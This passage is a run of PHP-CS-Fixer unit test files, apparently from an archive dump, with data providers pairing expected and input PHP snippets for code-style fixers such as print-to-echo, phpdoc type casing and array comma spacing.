                '<?php $a = new Foo() instanceof Foo;',
                '<?php $a = new Foo instanceof Foo;',
            ),
            array(
                '<?php
                    $a = new Foo() + 1;
                    $a = new Foo() - 1;
                    $a = new Foo() * 1;
                    $a = new Foo() / 1;
                    $a = new Foo() % 1;
                ',
                '<?php
                    $a = new Foo + 1;
                    $a = new Foo - 1;
                    $a = new Foo * 1;
                    $a = new Foo / 1;
                    $a = new Foo % 1;
                ',
            ),
            array(
                '<?php
                    $a = new Foo() & 1;
                    $a = new Foo() | 1;
                    $a = new Foo() ^ 1;
                    $a = new Foo() << 1;
                    $a = new Foo() >> 1;
                ',
                '<?php
                    $a = new Foo & 1;
                    $a = new Foo | 1;
                    $a = new Foo ^ 1;
                    $a = new Foo << 1;
                    $a = new Foo >> 1;
                ',
            ),
            array(
                '<?php
                    $a = new Foo() and 1;
                    $a = new Foo() or 1;
                    $a = new Foo() xor 1;
                    $a = new Foo() && 1;
                    $a = new Foo() || 1;
                ',
                '<?php
                    $a = new Foo and 1;
                    $a = new Foo or 1;
                    $a = new Foo xor 1;
                    $a = new Foo && 1;
                    $a = new Foo || 1;
                ',
            ),
            array(
                '<?php
                    if (new DateTime() > $this->startDate) {}
                    if (new DateTime() >= $this->startDate) {}
                    if (new DateTime() < $this->startDate) {}
                    if (new DateTime() <= $this->startDate) {}
                    if (new DateTime() == $this->startDate) {}
                    if (new DateTime() != $this->startDate) {}
                    if (new DateTime() <> $this->startDate) {}
                    if (new DateTime() === $this->startDate) {}
                    if (new DateTime() !== $this->startDate) {}
                ',
                '<?php
                    if (new DateTime > $this->startDate) {}
                    if (new DateTime >= $this->startDate) {}
                    if (new DateTime < $this->startDate) {}
                    if (new DateTime <= $this->startDate) {}
                    if (new DateTime == $this->startDate) {}
                    if (new DateTime != $this->startDate) {}
                    if (new DateTime <> $this->startDate) {}
                    if (new DateTime === $this->startDate) {}
                    if (new DateTime !== $this->startDate) {}
                ',
            ),
            array(
                '<?php $a = new \stdClass() ? $b : $c;',
                '<?php $a = new \stdClass ? $b : $c;',
            ),
            array(
                '<?php foreach (new Collection() as $x) {}',
                '<?php foreach (new Collection as $x) {}',
            ),
            array(
                '<?php $a = [(string) new Foo() => 1];',
                '<?php $a = [(string) new Foo => 1];',
            ),
        );
    }

    public function provide54Cases()
    {
        return array(
            array(
                '<?php $a = [ "key" => new DateTime(), ];',
                '<?php $a = [ "key" => new DateTime, ];',
            ),
            array(
                '<?php $a = [ "key" => new DateTime() ];',
                '<?php $a = [ "key" => new DateTime ];',
            ),
        );
    }

    public function provide56Cases()
    {
        return array(
            array(
                '<?php
                    $a = new Foo() ** 1;
                ',
                '<?php
                    $a = new Foo ** 1;
                ',
            ),
        );
    }

    public function provide70Cases()
    {
        return array(
            array(
                '<?php
                    $a = new Foo() <=> 1;
                ',
                '<?php
                    $a = new Foo <=> 1;
                ',
            ),
            array(
                '<?php
                    $a = new class() {use SomeTrait;};
                    $a = new class() implements Foo{};
                    $a = new class() /**/ extends Bar1{};
                    $a = new class()  extends Bar2 implements Foo{};
                    $a = new class()    extends Bar3 implements Foo, Foo2{};
                    $a = new class() {}?>
                ',
                '<?php
                    $a = new class {use SomeTrait;};
                    $a = new class implements Foo{};
                    $a = new class /**/ extends Bar1{};
                    $a = new class  extends Bar2 implements Foo{};
                    $a = new class    extends Bar3 implements Foo, Foo2{};
                    $a = new class {}?>
                ',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/BlanklineAfterOpenTagFixerTest.php000066600000004125151456236460023375 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Ceeram <ceeram@cakephp.org>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class BlanklineAfterOpenTagFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    /**
     * @requires PHP 5.4
     * @dataProvider provideCases54
     */
    public function testFix54($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php

$a = function(){
                    echo 1;
                };',
                '<?php $a = function(){
                    echo 1;
                };',
            ),
            array(
                '<?php

 class SomeClass
 {
     const VERSION = "1.1.1";
     const FOO = "bar";
 }
',
            ),
            array(
                '<?php $foo = true; ?>',
            ),
            array(
                '<?php $foo = true; ?>
',
            ),
            array(
                '<?php

$foo = true;
?>',
            ),
            array(
                '<?php

$foo = true;
?>',
                '<?php
$foo = true;
?>',
            ),
            array(
                '<?php

$foo = true;
$bar = false;
',
                '<?php $foo = true;
$bar = false;
',
            ),
            array(
                '<?php

$foo = true;
?>
Html here
<?php $bar = false;',
            ),
            array(
                '<?php
$foo = true;
?>
Html here
<?php $bar = false;
',
            ),
        );
    }

    public function provideCases54()
    {
        return array(
            array(
                '<?= $bar;
$foo = $bar;
?>',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocInlineTagFixerTest.php000066600000013113151456236460022243 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * Test PhpdocInlineTagFixer.
 */
class PhpdocInlineTagFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideTestFixInlineDocCases
     */
    public function testFixInlineDoc($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideTestFixInlineDocCases()
    {
        $cases = array(
            array(
                '<?php
    /**
     * {link} { LINK }
     * { test }
     * {@inheritdoc rire éclatant des écoliers qui décontenança®¶ñ¿}
     * test other comment
     * {@inheritdoc test} a
     * {@inheritdoc test} b
     * {@inheritdoc test} c
     * {@inheritdoc foo bar.} d
     * {@inheritdoc foo bar.} e
     * {@inheritdoc test} f
     * end comment {@inheritdoc here we are done} @spacepossum {1}
     */
',
                '<?php
    /**
     * {link} { LINK }
     * { test }
     * {@inheritDoc rire éclatant des écoliers qui décontenança®¶ñ¿ }
     * test other comment
     * @{inheritdoc test} a
     * {{@inheritdoc    test}} b
     * {@ inheritdoc   test} c
     * { @inheritdoc 	foo bar.  } d
     * {@ 	inheritdoc foo bar.	} e
     * @{{inheritdoc test}} f
     * end comment {@inheritdoc here we are done} @spacepossum {1}
     */
',
            ),
        );

        foreach (array('example', 'id', 'internal', 'inheritdoc', 'link', 'source', 'toc', 'tutorial') as $tag) {
            $cases[] = array(
                sprintf("<?php\n     /**\n      * {@%s}a\n      */\n", $tag),
                sprintf("<?php\n     /**\n      * @{%s}a\n      */\n", $tag),
            );
            $cases[] = array(
                sprintf("<?php\n     /**\n      * {@%s} b\n      */\n", $tag),
                sprintf("<?php\n     /**\n      * {{@%s}} b\n      */\n", $tag),
            );
            $cases[] = array(
                sprintf("<?php\n     /**\n      * c {@%s}\n      */\n", $tag),
                sprintf("<?php\n     /**\n      * c @{{%s}}\n      */\n", $tag),
            );
            $cases[] = array(
                sprintf("<?php\n     /**\n      * c {@%s test}\n      */\n", $tag),
                sprintf("<?php\n     /**\n      * c @{{%s test}}\n      */\n", $tag),
            );
            // test unbalanced { tags
            $cases[] = array(
                sprintf("<?php\n     /**\n      * c {@%s test}\n      */\n", $tag),
                sprintf("<?php\n     /**\n      * c {@%s test}}\n      */\n", $tag),
            );
            $cases[] = array(
                sprintf("<?php\n     /**\n      * c {@%s test}\n      */\n", $tag),
                sprintf("<?php\n     /**\n      * c {{@%s test}\n      */\n", $tag),
            );
            $cases[] = array(
                sprintf("<?php\n     /**\n      * c {@%s test}\n      */\n", $tag),
                sprintf("<?php\n     /**\n      * c {@%s test}}\n      */\n", $tag),
            );
            $cases[] = array(
                sprintf("<?php\n     /**\n      * c {@%s test}\n      */\n", $tag),
                sprintf("<?php\n     /**\n      * c @{{%s test}}}\n      */\n", $tag),
            );
        }

        // don't touch custom tags
        $tag = 'foo';
        $cases[] = array(
            sprintf("<?php\n     /**\n      * @{%s}a\n      */\n", $tag),
        );
        $cases[] = array(
            sprintf("<?php\n     /**\n      * {{@%s}} b\n      */\n", $tag),
        );
        $cases[] = array(
            sprintf("<?php\n     /**\n      * c @{{%s}}\n      */\n", $tag),
        );

        // don't auto inline tags with the exception of inheritdoc
        foreach (array('example', 'id', 'internal', 'foo', 'link', 'source', 'toc', 'tutorial') as $tag) {
            $cases[] = array(
                sprintf("<?php\n     /**\n      * @%s\n      */\n", $tag),
            );
        }

        // don't touch well formatted tags

        foreach (array('example', 'id', 'internal', 'inheritdoc', 'link', 'source', 'toc', 'tutorial') as $tag) {
            $cases[] = array(
                sprintf("<?php\n     /**\n      * {@%s}\n      */\n", $tag),
            );
        }

        // common typos
        $cases[] = array(
            '<?php
    /**
     * Typo {@inheritdoc} {@example} {@id} {@source} {@tutorial} {links}
     * inheritdocs
     */
',
            '<?php
    /**
     * Typo {@inheritdocs} {@exampleS} { @ids} { @sources } {{{ @tutorials }} {links}
     * inheritdocs
     */
',

        );

        // invalid syntax
        $cases[] = array(
            '<?php
    /**
     * {@link http://www.ietf.org/rfc/rfc1035.text)
     */
    $someVar = "hello";',
        );

        return $cases;
    }

    /**
     * @dataProvider provideTestFixInheritDocCases
     */
    public function testFixInheritDoc($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideTestFixInheritDocCases()
    {
        return array(
            array(
                '<?php
    /**
     * {@inheritdoc} should this be inside the tag?
     * {@inheritdoc}
     * {@inheritdoc}
     * {@inheritdoc}
     * inheritdoc
     */
',
                // missing { } test for inheritdoc
                '<?php
    /**
     * @inheritdoc should this be inside the tag?
     * @inheritdoc
     * @inheritdocs
     * {@inheritdocs}
     * inheritdoc
     */
',
                ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/ArrayElementWhiteSpaceAfterCommaFixerTest.php000066600000007214151456236460025544 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Adam Marczuk <adam@marczuk.info>
 */
final class ArrayElementWhiteSpaceAfterCommaFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider testFixProvider
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function testFixProvider()
    {
        return array(
            //old style array
            array(
                '<?php $x = array( 1 , "2", 3);',
                '<?php $x = array( 1 ,"2",3);',
            ),
            //old style array with comments
            array(
                '<?php $x = array /* comment */ ( 1 ,  "2", 3);',
                '<?php $x = array /* comment */ ( 1 ,  "2",3);',
            ),

            //short array
            array(
                '<?php $x = [ 1 ,  "2", 3 , $y];',
                '<?php $x = [ 1 ,  "2",3 ,$y];',
            ),
            // don't change function calls
            array(
                '<?php $x = [1, "2", getValue(1,2  ,3 ) , $y];',
                '<?php $x = [1, "2",getValue(1,2  ,3 ) ,$y];',
            ),
            // don't change function declarations
            array(
                '<?php $x = [1,  "2", function( $x ,$y) { return $x + $y; }, $y];',
                '<?php $x = [1,  "2",function( $x ,$y) { return $x + $y; },$y];',
            ),
            // don't change function declarations but change array inside
            array(
                '<?php $x = [1,  "2", "c" => function( $x ,$y) { return [$x , $y]; }, $y ];',
                '<?php $x = [1,  "2","c" => function( $x ,$y) { return [$x ,$y]; },$y ];',
            ),
            // associative array (old)
            array(
                '<?php $x = array("a" => $a , "b" =>  "b", 3=>$this->foo(),  "d" => 30  );',
                '<?php $x = array("a" => $a , "b" =>  "b",3=>$this->foo(),  "d" => 30  );',
            ),
            // associative array (short)
            array(
                '<?php $x = [  "a" => $a ,  "b"=>"b", 3 => $this->foo(), "d" =>30];',
                '<?php $x = [  "a" => $a ,  "b"=>"b",3 => $this->foo(), "d" =>30];',
            ),
            // nested arrays
            array(
                '<?php $x = ["a" => $a, "b" => "b", 3=> [5, 6,  7] , "d" => array(1,  2, 3 , 4)];',
                '<?php $x = ["a" => $a, "b" => "b",3=> [5,6,  7] , "d" => array(1,  2,3 ,4)];',
            ),
            // multi line array
            array(
                '<?php $x = ["a" =>$a,
                    "b"=> "b",
                    3 => $this->foo(),
                    "d" => 30];',
            ),
            // multi line array
            array(
                '<?php $a = [
                            "foo" ,
                            "bar",
                        ];',
            ),
            // nested multiline
            array(
                '<?php $a = array(array(
                                    array(T_OPEN_TAG),
                                    array(T_VARIABLE, "$x"),
                        ), 1, );',
                '<?php $a = array(array(
                                    array(T_OPEN_TAG),
                                    array(T_VARIABLE,"$x"),
                        ),1,);',
            ),
            array(
                '<?php $a = array( // comment
                    123,
                );',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/ShortBoolCastFixerTest.php000066600000002727151456236460021772 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

class ShortBoolCastFixerTest extends AbstractFixerTestBase
{
    /**
     * * @dataProvider provideCases
     */
    public function testFixer($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php
            $c = // lala
// cc
(bool)$content;',
                '<?php
            $c = ! // lala
                // cc
            !$content;',
            ),
            array(
                '<?php
$a = \'0\';
$b = /*

    */(bool)$a;',
                '<?php
$a = \'0\';
$b = !/*

    */!$a;',
            ),
            array(
                '<?php
function foo($a, $b) {
    $c = (bool)$a;
    $d = !$a;
    $d1 = !  $a;
    $d2 =    !$a;
    $b = !(!$foo);
    echo \'!!\'; // !! ! !
    $c = (bool) $b;
    $e = (bool) $d1;
    return (bool) $a;
}
                ',
                '<?php
function foo($a, $b) {
    $c = !!$a;
    $d = !$a;
    $d1 = !  $a;
    $d2 =    !$a;
    $b = !(!$foo);
    echo \'!!\'; // !! ! !
    $c = ! ! $b;
    $e = !


    ! $d1;
    return !! $a;
}
                ',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/SpacesBeforeSemicolonFixerTest.php000066600000004673151456236460023460 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author John Kelly <wablam@gmail.com>
 * @author Graham Campbell <graham@mineuk.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class SpacesBeforeSemicolonFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php for ($uu = 0; ; ++$uu) {}',
                '<?php for ($uu = 0    ;    ; ++$uu) {}',
            ),
            array(
                '<?php
$this
    ->setName(\'readme1\')
    ->setDescription(\'Generates the README content, based on the fix command help\')
;',
            ),
            array(
                '<?php
$this
    ->setName(\'readme2\')
    ->setDescription(\'Generates the README content, based on the fix command help\')
    ;',
            ),
            array(
                '<?php echo "$this->foo(\'with param containing ;\') ;";',
                '<?php echo "$this->foo(\'with param containing ;\') ;" ;',
            ),
            array(
                '<?php $this->foo();',
                '<?php $this->foo() ;',
            ),
            array(
                '<?php $this->foo(\'with param containing ;\');',
                '<?php $this->foo(\'with param containing ;\') ;',
            ),
            array(
                '<?php $this->foo(\'with param containing ) ; \');',
                '<?php $this->foo(\'with param containing ) ; \') ;',
            ),
            array(
                '<?php $this->foo("with param containing ) ; ");',
                '<?php $this->foo("with param containing ) ; ")  ;',
            ),
            array(
                '<?php
    $foo
        ->bar(1)
        ->baz(2)
    ;',
            ),
            array(
                '<?php
    $foo
        ->bar(1)
        //->baz(2)
    ;',
            ),
            array(
                '<?php $this->foo();',
            ),
            array(
                '<?php $this->foo("with semicolon in string) ; ");',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocTypesFixerTest.php000066600000004734151456236460021506 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
final class PhpdocTypesFixerTest extends AbstractFixerTestBase
{
    public function testConvesion()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param boolean|array|Foo $bar
     *
     * @return int|float
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @param Boolean|Array|Foo $bar
     *
     * @return inT|Float
     */

EOF;
        $this->makeTest($expected, $input);
    }

    public function testArrayStuff()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param string|string[] $bar
     *
     * @return int[]
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @param STRING|String[] $bar
     *
     * @return inT[]
     */

EOF;
        $this->makeTest($expected, $input);
    }

    public function testMixedAndVoid()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param mixed $foo
     *
     * @return void
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @param Mixed $foo
     *
     * @return Void
     */

EOF;
        $this->makeTest($expected, $input);
    }

    public function testMethodAndPropertyFix()
    {
        $expected = <<<'EOF'
<?php
/**
 * @method self foo()
 * @property int $foo
 * @property-read boolean $bar
 * @property-write mixed $baz
 */

EOF;

        $input = <<<'EOF'
<?php
/**
 * @method Self foo()
 * @property Int $foo
 * @property-read Boolean $bar
 * @property-write MIXED $baz
 */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testThrows()
    {
        $expected = <<<'EOF'
<?php
/**
 * @throws static
 */

EOF;

        $input = <<<'EOF'
<?php
/**
 * @throws STATIC
 */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testInlineDoc()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Does stuffs with stuffs.
     *
     * @param array $stuffs {
     *     @var bool $foo
     *     @var int  $bar
     * }
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Does stuffs with stuffs.
     *
     * @param array $stuffs {
     *     @var Bool $foo
     *     @var INT  $bar
     * }
     */

EOF;

        $this->makeTest($expected, $input);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/ConcatWithoutSpacesFixerTest.php000066600000002424151456236460023170 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ConcatWithoutSpacesFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php $foo = "a".\'b\'."c"."d".$e.($f + 1);',
                '<?php $foo = "a" . \'b\' ."c". "d" . $e.($f + 1);',
            ),
            array(
                '<?php $foo = 1 ."foo";',
                '<?php $foo = 1 . "foo";',
            ),
            array(
                '<?php $foo = "foo". 1;',
                '<?php $foo = "foo" . 1;',
            ),
            array(
                '<?php $foo = "a".
"b";',
                '<?php $foo = "a" .
"b";',
            ),
            array(
                '<?php $a = "foobar"
    ."baz";',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PrintToEchoFixerTest.php000066600000007230151456236460021434 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Sullivan Senechal <soullivaneuh@gmail.com>
 *
 * @internal
 */
final class PrintToEchoFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixCases()
    {
        return array(
            array(
                '<?php
                echo "test";
                ',
            ),
            array(
                '<?php
                echo ("test");
                ',
            ),
            array(
                '<?php
                echo("test");
                ',
            ),
            // https://github.com/FriendsOfPHP/PHP-CS-Fixer/issues/1502#issuecomment-156436229
            array(
                '<?php
                ($some_var) ? print "true" : print "false";
                ',
            ),
            // echo has no return value while print has a return value of 1 so it can be used in expressions.
            // http://www.w3schools.com/php/php_echo_print.asp
            array(
                '<?php
                $ret = print "test";
                ',
            ),
            array(
                '<?php
                @print foo();
                ',
            ),
            array(
                '<?php
                function testFunction() {
                    return print("test");
                }

                $a = testFunction();
                $b += print($a);
                $c=\'\';
                $c .= $b.print($a);
                $d = print($c) > 0 ? \'a\' : \'b\';
                switch(print(\'a\')) {}
                if (1 === print($a)) {}
                ',
            ),
            array(
                '<?php
                some_function_call();
                echo "test";
                ',
                '<?php
                some_function_call();
                print "test";
                ',
            ),
            array(
                '<?php
                echo "test";
                ',
                '<?php
                print "test";
                ',
            ),
            array(
                '<?php
                echo ("test");
                ',
                '<?php
                print ("test");
                ',
            ),
            array(
                '<?php
                echo("test");
                ',
                '<?php
                print("test");
                ',
            ),
            array(
                '<?php
                echo foo(1, 2);
                ',
                '<?php
                print foo(1, 2);
                ',
            ),
            array(
                '<?php
                echo $foo ? "foo" : "bar";
                ',
                '<?php
                print $foo ? "foo" : "bar";
                ',
            ),
            array(
                '<?php
                if ($foo) {
                    echo "foo";
                }
                echo "bar";
                ',
                '<?php
                if ($foo) {
                    print "foo";
                }
                print "bar";
                ',
            ),
            array(
                "<div><?php echo 'foo' ?></div>",
                "<div><?php print 'foo' ?></div>",
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/FunctionTypehintSpaceFixerTest.php000066600000010257151456236460023527 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class FunctionTypehintSpaceFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php function foo($param) {}',
            ),
            array(
                '<?php function foo($param1,$param2) {}',
            ),
            array(
                '<?php function foo(&$param) {}',
            ),
            array(
                '<?php function foo(& $param) {}',
            ),
            array(
                '<?php function foo(/**int*/$param) {}',
            ),
            array(
                '<?php function foo(callable $param) {}',
                '<?php function foo(callable$param) {}',
            ),
            array(
                '<?php function foo(array &$param) {}',
                '<?php function foo(array&$param) {}',
            ),
            array(
                '<?php function foo(array & $param) {}',
                '<?php function foo(array& $param) {}',
            ),
            array(
                '<?php function foo(Bar $param) {}',
                '<?php function foo(Bar$param) {}',
            ),
            array(
                '<?php function foo(Bar\Baz $param) {}',
                '<?php function foo(Bar\Baz$param) {}',
            ),
            array(
                '<?php function foo(Bar\Baz &$param) {}',
                '<?php function foo(Bar\Baz&$param) {}',
            ),
            array(
                '<?php function foo(Bar\Baz & $param) {}',
                '<?php function foo(Bar\Baz& $param) {}',
            ),
            array(
                '<?php $foo = function(Bar\Baz $param) {};',
                '<?php $foo = function(Bar\Baz$param) {};',
            ),
            array(
                '<?php $foo = function(Bar\Baz &$param) {};',
                '<?php $foo = function(Bar\Baz&$param) {};',
            ),
            array(
                '<?php $foo = function(Bar\Baz & $param) {};',
                '<?php $foo = function(Bar\Baz& $param) {};',
            ),
            array(
                '<?php class Test { public function foo(Bar\Baz $param) {} }',
                '<?php class Test { public function foo(Bar\Baz$param) {} }',
            ),
            array(
                '<?php $foo = function(array $a,
                    array $b, array     $c, array
                    $d) {};',
                '<?php $foo = function(array $a,
                    array$b, array     $c, array
                    $d) {};',
            ),
        );
    }

    /**
     * @dataProvider provideCases56
     * @requires PHP 5.6
     */
    public function testFix56($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases56()
    {
        return array(
            array(
                '<?php function foo(...$param) {}',
            ),
            array(
                '<?php function foo(&...$param) {}',
            ),
            array(
                '<?php function foo(array ...$param) {}',
                '<?php function foo(array...$param) {}',
            ),
            array(
                '<?php function foo(array & ...$param) {}',
                '<?php function foo(array& ...$param) {}',
            ),
        );
    }

    /**
     * @dataProvider provide70Cases
     * @requires PHP 7.0
     */
    public function test70($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provide70Cases()
    {
        return array(
            array('<?php use function some\test\{fn_a, fn_b, fn_c};'),
            array('<?php use function some\test\{fn_a, fn_b, fn_c} ?>'),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/SingleArrayNoTrailingCommaFixerTest.php000066600000006137151456236460024427 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Sebastiaan Stok <s.stok@rollerscapes.net>
 */
class SingleArrayNoTrailingCommaFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideExamples
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideExamples()
    {
        return array(
            array('<?php $x = array();'),
            array('<?php $x = array("foo");'),
            array(
                '<?php $x = array("foo");',
                '<?php $x = array("foo", );',
            ),
            array("<?php \$x = array(\n'foo', \n);"),
            array("<?php \$x = array('foo', \n);"),
            array("<?php \$x = array(array('foo'), \n);", "<?php \$x = array(array('foo',), \n);"),
            array("<?php \$x = array(array('foo',\n), \n);"),
            array(
                '<?php
    $test = array("foo", <<<TWIG
        foo
TWIG
        , $twig);',
                '<?php
    $test = array("foo", <<<TWIG
        foo
TWIG
        , $twig, );',
            ),
            array(
                '<?php
    $test = array(
        "foo", <<<TWIG
        foo
TWIG
        , $twig, );',
            ),
            array(
                '<?php
    $test = array("foo", <<<\'TWIG\'
        foo
TWIG
        , $twig);',
                '<?php
    $test = array("foo", <<<\'TWIG\'
        foo
TWIG
        , $twig, );',
            ),
            array(
                '<?php
    $test = array(
        "foo", <<<\'TWIG\'
        foo
TWIG
        , $twig, );',
            ),

            // Short syntax
            array('<?php $x = array([]);'),
            array('<?php $x = [[]];'),
            array('<?php $x = ["foo"];', '<?php $x = ["foo",];'),
            array('<?php $x = bar(["foo"]);', '<?php $x = bar(["foo",]);'),
            array("<?php \$x = bar([['foo'],\n]);"),
            array("<?php \$x = ['foo', \n];"),
            array('<?php $x = array([]);', '<?php $x = array([],);'),
            array('<?php $x = [[]];', '<?php $x = [[],];'),
            array('<?php $x = [$y[""]];', '<?php $x = [$y[""],];'),
            array(
                '<?php
    $test = ["foo", <<<TWIG
        foo
TWIG
        , $twig];',
                '<?php
    $test = ["foo", <<<TWIG
        foo
TWIG
        , $twig, ];',
            ),
            array(
                '<?php
    $test = [
        "foo", <<<TWIG
        foo
TWIG
        , $twig, ];',
            ),
            array(
                '<?php
    $test = ["foo", <<<\'TWIG\'
        foo
TWIG
        , $twig];',
                '<?php
    $test = ["foo", <<<\'TWIG\'
        foo
TWIG
        , $twig, ];',
            ),
            array(
                '<?php
    $test = [
        "foo", <<<\'TWIG\'
        foo
TWIG
        , $twig, ];',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/RemoveLinesBetweenUsesFixerTest.php000066600000004256151456236460023645 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Luis Cordova <cordoval@gmail.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class RemoveLinesBetweenUsesFixerTest extends AbstractFixerTestBase
{
    public function testRemoveLinesBetweenUseStatements()
    {
        $expected = <<<'EOF'
<?php

use Zxy\Qux;
use Zoo\Bar as Bar2;
use Foo\Bar as Bar1;
use Foo\Zar\Baz;

$c = 1;

use Foo\Quxx as Quxx1;
use Foo\Zar\Quxx;

$a = new Bar1();
$a = new Bar2();
$a = new Baz();
$a = new Qux();
EOF
        ;

        $input = <<<'EOF'
<?php

use Zxy\Qux;

use Zoo\Bar as Bar2;

use Foo\Bar as Bar1;
use Foo\Zar\Baz;

$c = 1;

use Foo\Quxx as Quxx1;

